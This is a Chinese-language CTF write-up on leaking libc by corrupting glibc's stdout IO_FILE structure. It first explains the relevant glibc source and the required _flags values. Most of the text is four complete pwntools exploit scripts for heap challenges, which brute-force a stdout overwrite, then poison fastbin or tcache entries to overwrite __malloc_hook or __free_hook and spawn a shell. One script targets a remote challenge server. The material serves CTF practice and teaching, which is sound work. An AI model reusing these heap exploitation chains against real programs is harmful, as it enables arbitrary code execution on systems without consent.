IO_FILE——leak 任意讀

在堆題沒有show函數時,我們可以用 IO_FILE 進行leak,本文就記錄一下如何實現這一手法。

拿一個輸出函數 puts 來說,它在源碼里的表現形式為 _IO_puts 。

_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

我們可以看到 _IO_puts 又調用了一個叫 _IO_sputn 的函數。

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

它是一個宏,它的作用就是調用 _IO_2_1_stdout_ 里 vtable 所指向的 _IO_XSPUTN,也就是 _IO_new_file_xsputn

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;

 ............
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  /* Then fill the buffer. */
  if (count > 0)
    {
............
      if (_IO_OVERFLOW (f, EOF) == EOF)

當 f->_IO_write_end > f->_IO_write_ptr 時,會調用 memcpy 拷貝數據至緩衝區。之後還會判斷目標輸出數據是否還有剩餘。如果還有剩餘就要調用 _IO_OVERFLOW 函數,刷新緩衝區。這個函數在 vtable 中為 _IO_overflow ,也就是 _IO_new_file_overflow 。

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
      /* Otherwise must be currently reading.
     If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
     logically slide the buffer forwards one block (by setting the
     read pointers to all point at the beginning of the block).  This
     makes room for subsequent output.
     Otherwise, set the read pointers to _IO_read_end (leaving that
     alone, so it can continue to correspond to the external position). */
      if (__glibc_unlikely (_IO_in_backup (f)))
    {
      size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
      _IO_free_backup_area (f);
      f->_IO_read_base -= MIN (nbackup,
                   f->_IO_read_base - f->_IO_buf_base);
      f->_IO_read_ptr = f->_IO_read_base;
    }

      if (f->_IO_read_ptr == f->_IO_buf_end)
    f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
      f->_IO_write_ptr = f->_IO_read_ptr;
      f->_IO_write_base = f->_IO_write_ptr;
      f->_IO_write_end = f->_IO_buf_end;
      f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

      f->_flags |= _IO_CURRENTLY_PUTTING;
      if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
    f->_IO_write_end = f->_IO_write_ptr;
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
............

我們最後想用的就是 _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr – f->_IO_write_base) 通過它來執行系統調用write函數,來泄露 libc 。想調用它我們得先繞過幾個檢查:

1、f->_flags & _IO_NO_WRITES == 1 的話就會 EOF ,故我們要使 f->_flags & _IO_NO_WRITES == 0。

 

#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

 

2、(f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ,這裡我們如果這兩個條件滿足一個就會去執行一些其他的函數,我們最好將其繞過,f->_IO_write_base要泄露數據肯定是不為 NULL 的,故我們要做的就是使 (f->_flags & _IO_CURRENTLY_PUTTING) == 1 。

故滿足上述條件 _flags & 8 == 0 , _flags & 0x800 == 1,且 _flags 魔數的常量為 0xfbad0000。 那麼此時 _flags == 0xfbad0800。

 

跟進 _IO_do_write 後會進入 _IO_new_do_write 。

int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  return (to_do == 0
      || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

其作用是調用 _IO_new_do_write

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

我們最後的目的就是調用_IO_SYSWRITE 來執行系統調用,但在執行系統調用之前我們會經過兩個判斷,在看了其他師傅的文章都說 else if的那個很難滿足,故我們選擇去滿足前一個條件,及 fp->_flags & _IO_IS_APPENDING,之前 _flags == 0xfbad0800,現在又要滿足 _flags & 0x1000 == 1,故我們 _flags == 0xfbad1800,即可滿足所有條件。最後我們把 _IO_write_base 改為目標地址,之後在此次遇到puts等輸出函數時,及可泄露出該地址里的值。

此外由於我們是通過覆蓋 main_arena 來獲得 _stdout 的地址的,故我們一定要爆破半位元組。

 

de1ctf_2019_weapon

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'


libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def add(index,size,content):
    s.sendlineafter(b'choice >> ',b'1')
    s.sendlineafter(b'wlecome input your size of weapon: ',str(size))
    s.sendlineafter(b'input index:',str(index))
    s.sendafter(b'input your name:',content)


def edit(index,content):
    s.sendlineafter(b'choice >>',b'3')
    s.sendlineafter(b'idx: ',str(index))
    s.sendafter(b'new content:',content)

def delete(index):
    s.sendlineafter(b'choice >>',b'2')
    s.sendlineafter(b'idx :',str(index))
def pwn():
    add(0, 0x10 ,p64(0) + p64(0x21))
    add(1, 0x10 ,b'bbbb')
    add(2, 0x60 ,b'cccc')
    add(3, 0x10 ,b'dddd')

    delete(0)
    delete(1)
    delete(0)

    add(0, 0x10 ,b'\x10')
    add(1, 0x10 ,b'b')
    add(0, 0x10 ,b'c')
    add(4 ,0x10 ,p64(0) + p64(0x71))
    edit(2,b'\x00'*0x48 + p64(0x71))
    delete(1)
    edit(4,p64(0) + p64(0x91))
    delete(1)
    #gdb.attach(s)
    edit(1,b'\xdd\x85')
    edit(4,p64(0) + p64(0x71)) #renew 0x70 fast bin

    add(5 , 0x60 ,b'eeee')

    payload = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x48'
    add(6 , 0x60 ,payload)

    libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -131-libc.sym['_IO_2_1_stdout_']
    if(libc_base < 0):
        exit(0)
    __malloc_hook = libc_base + libc.sym['__malloc_hook']
    __free_hook = libc_base + libc.sym['__free_hook']
    system_addr = libc_base + libc.sym['system']
    one_gadget = libc_base + 0xf0897
    success(hex(libc_base))
    add(5 , 0x60 ,b'eeee')
    delete(5)
    edit(5,p64(__malloc_hook-0x23))
    add(5 , 0x60 ,b'/bin/sh\x00')
    add(6, 0x60 ,b'a'*0x13 + p64(one_gadget))
    #add(8,0x10,b'gggg')
    #gdb.attach(s)
    s.interactive()

while True:
    try:
        s = process('./de1ctf_2019_weapon')
        pwn()
    except:
        s.close()
'''
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

nsctf_online_2019_pwn1

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def add(size,content):
    s.recvuntil(b'exit\n')
    s.sendline(b'1')
    s.recvuntil(b'Input the size:\n')
    s.sendline(str(size))
    s.recvuntil(b'Input the content:')
    s.send(content)
def delete(index):
    s.recvuntil(b'exit\n')
    s.sendline(b'2')
    s.recvuntil(b'Input the index:\n')
    s.sendline(str(index))

def edit(index,size,content):
    s.recvuntil(b'exit\n')
    s.sendline(b'4')
    s.recvuntil(b'Input the index:\n')
    s.sendline(str(index))
    s.recvuntil(b'Input size:\n')
    s.sendline(str(size))
    s.recvuntil(b'Input new content:\n')
    s.send(content)

def pwn():
    add(0x80 ,b'aaaa') #0
    add(0x68 ,b'bbbb') #1
    add(0xf0 ,b'cccc') #2
    add(0x10 ,b'dddd') #3

    delete(0)
    edit(1 , 0x68 ,b'e'*0x60+p64(0x70+0x90))
    delete(2)
    add(0x80 ,b'aaaa') #0
    add(0x68 ,b'bbbb') #2=1
    add(0xf0 ,b'cccc') #4

    delete(0)
    edit(2 , 0x68 ,b'e'*0x60+p64(0x70+0x90))
    delete(4)

    delete(1) #fast bin
    add(0x80 ,b'aaaa') #0
    delete(0)
    add(0x80+0x10+2 ,b'a'*0x80 + p64(0) + p64(0x71) + p16((8<<12) + ((libc.sym['_IO_2_1_stdout_'] & 0xfff) - 0x43)))
    add(0x68 ,b'bbbb') #1
    payload = b'\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + b'\x88'
    #gdb.attach(s)
    add(0x59 ,payload)
    libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdin_']
    if(libc_base < 0):
        exit(0)
    success(hex(libc_base))
    __malloc_hook = libc_base + libc.sym['__malloc_hook']
    one_gadget = libc_base + 0xf0897

    delete(1)
    edit(2 , 0x8 ,p64(__malloc_hook-0x23))
    add(0x68 ,b'b') #1
    add(0x68 ,b'c'*0x13 + p64(one_gadget))
    s.interactive()

while True:
    s = process('./nsctf_online_2019_pwn1')
    try:
        pwn()
    except:
        s.close()

 

roarctf_2019_realloc_magic

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

#s = process('./roarctf_2019_realloc_magic')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def realloc(size,content):
    s.recvuntil(b'>> ')
    s.sendline(b'1')
    s.recvuntil(b'Size?\n')
    s.sendline(str(size))
    s.recvuntil(b'Content?\n')
    s.send(content)

def delete():
    s.recvuntil(b'>> ')
    s.sendline(b'2')

def backdoor():
    s.recvuntil(b'>> ')
    s.sendline(b'3')
def pwn():
    realloc(0x70 ,b'aaaa')
    realloc(0 ,b'')
    realloc(0x100 ,b'bbbb')
    realloc(0,b'')
    realloc(0xa0 ,b'cccc')
    realloc(0,b'')
    #gdb.attach(s)
    realloc(0x100 ,b'bbbb')

    for i in range(7):
        delete()
    realloc(0,b'')
    realloc(0x70 ,b'aaaa')
    realloc(0x180,b'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))
    realloc(0 ,b'')
    realloc(0x100 ,b'bbbb')
    realloc(0,b'')
    #gdb.attach(s)
    realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))
    libc_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00'))-libc.sym['_IO_file_jumps']
    if(libc_base < 0):
        exit(0)
    success('libc_basse=>'+hex(libc_base))
    __free_hook = libc_base + libc.sym['__free_hook']
    system_addr = libc_base + libc.sym['system']
    one_gadget = libc_base + 0x4f322

    s.sendline(b'666')

    realloc(0x120,b'a')
    realloc(0,b'')
    realloc(0x130,b'a')
    realloc(0,b'')
    realloc(0x170,b'a')
    realloc(0,b'')

    realloc(0x130,b'a')
    for i in range(7):
        delete()
    realloc(0,b'')
    realloc(0x120,b'a')
    realloc(0x260,b'a'*0x128+p64(0x41)+p64(__free_hook-8))
    realloc(0,b'')
    realloc(0x130,b'a')
    realloc(0,b'')
    realloc(0x130,b'/bin/sh\x00'+p64(system_addr))
    delete()
    #gdb.attach(s)
    s.interactive()

while True:
    s = process('./roarctf_2019_realloc_magic')
    #s = remote('node4.buuoj.cn',26297)
    try:
        pwn()
        #s.interactive()
    except:
        s.close()

 

TWCTF_online_2019_asterisk_alloc

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def malloc(size,content):
    s.recvuntil(b'=================================')
    s.sendline(b'1')
    s.recvuntil(b'Size: ')
    s.sendline(str(size))
    s.recvuntil(b'Data: ')
    s.send(content)

def calloc(size,content):
    s.recvuntil(b'=================================')
    s.sendline(b'2')
    s.recvuntil(b'Size: ')
    s.sendline(str(size))
    s.recvuntil(b'Data: ')
    s.send(content)

def realloc(size,content):
    s.recvuntil(b'=================================')
    s.sendline(b'3')
    s.recvuntil(b'Size: ')
    s.sendline(str(size))
    s.recvuntil(b'Data: ')
    s.send(content)

def delete(type):
    s.recvuntil(b'=================================')
    s.sendline(b'4')
    s.recvuntil(b'Which: ')
    s.sendline(type)
def pwn():
    realloc(0x70 ,b'aaaa')
    realloc(0 ,b'')
    realloc(0x100 ,b'bbbb')
    realloc(0 ,b'')
    realloc(0xa0 ,b'bbbb')
    realloc(0 ,b'')

    realloc(0x100 ,b'bbbb')

    for i in range(7):
        delete(b'r')

    realloc(0 ,b'')
    realloc(0x70 ,b'aaaa')

    payload = b'a'*0x78 + p64(0x41) +b'\x60\x67'
    realloc(0x180 ,payload)
    realloc(0 ,b'')
    realloc(0x100 ,b'bbbb')
    realloc(0 ,b'')

    payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
    malloc(0x100 ,payload)

    libc_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0
    if(libc_base == -0x3e82a0):
        exit(0)
    success('libc_basse=>'+hex(libc_base))
    __free_hook = libc_base + libc.sym['__free_hook']
    system_addr = libc_base + libc.sym['system']
    one_gadget = libc_base + 0x4f322
    realloc(0x120 ,b'aaaa')
    realloc(0 ,b'')
    realloc(0x130 ,b'bbbb')
    realloc(0 ,b'')
    realloc(0x170 ,b'bbbb')
    realloc(0 ,b'')

    realloc(0x130 ,b'bbbb')
    for i in range(7):
        delete(b'r')
    realloc(0 ,b'')

    realloc(0x120 ,b'aaaa')

    payload = b'a'*0x128 + p64(0x41) + p64(__free_hook-0x8)
    realloc(0x260 ,payload)
    realloc(0 ,b'')
    realloc(0x130 ,b'bbbb')
    realloc(0 ,b'')

    payload = b'/bin/sh\x00' + p64(system_addr)
    realloc(0x130 ,payload)
    delete(b'r')

    #gdb.attach(s)
    s.interactive()
while True:
    #s = process('./TWCTF_online_2019_asterisk_alloc')
    s = remote('node4.buuoj.cn',29559)
    try:
        pwn()
        #s.interactive()
    except:
        s.close()

 

參考文章

//hollk.blog.csdn.net/article/details/113845320?spm=1001.2014.3001.5502

Tags: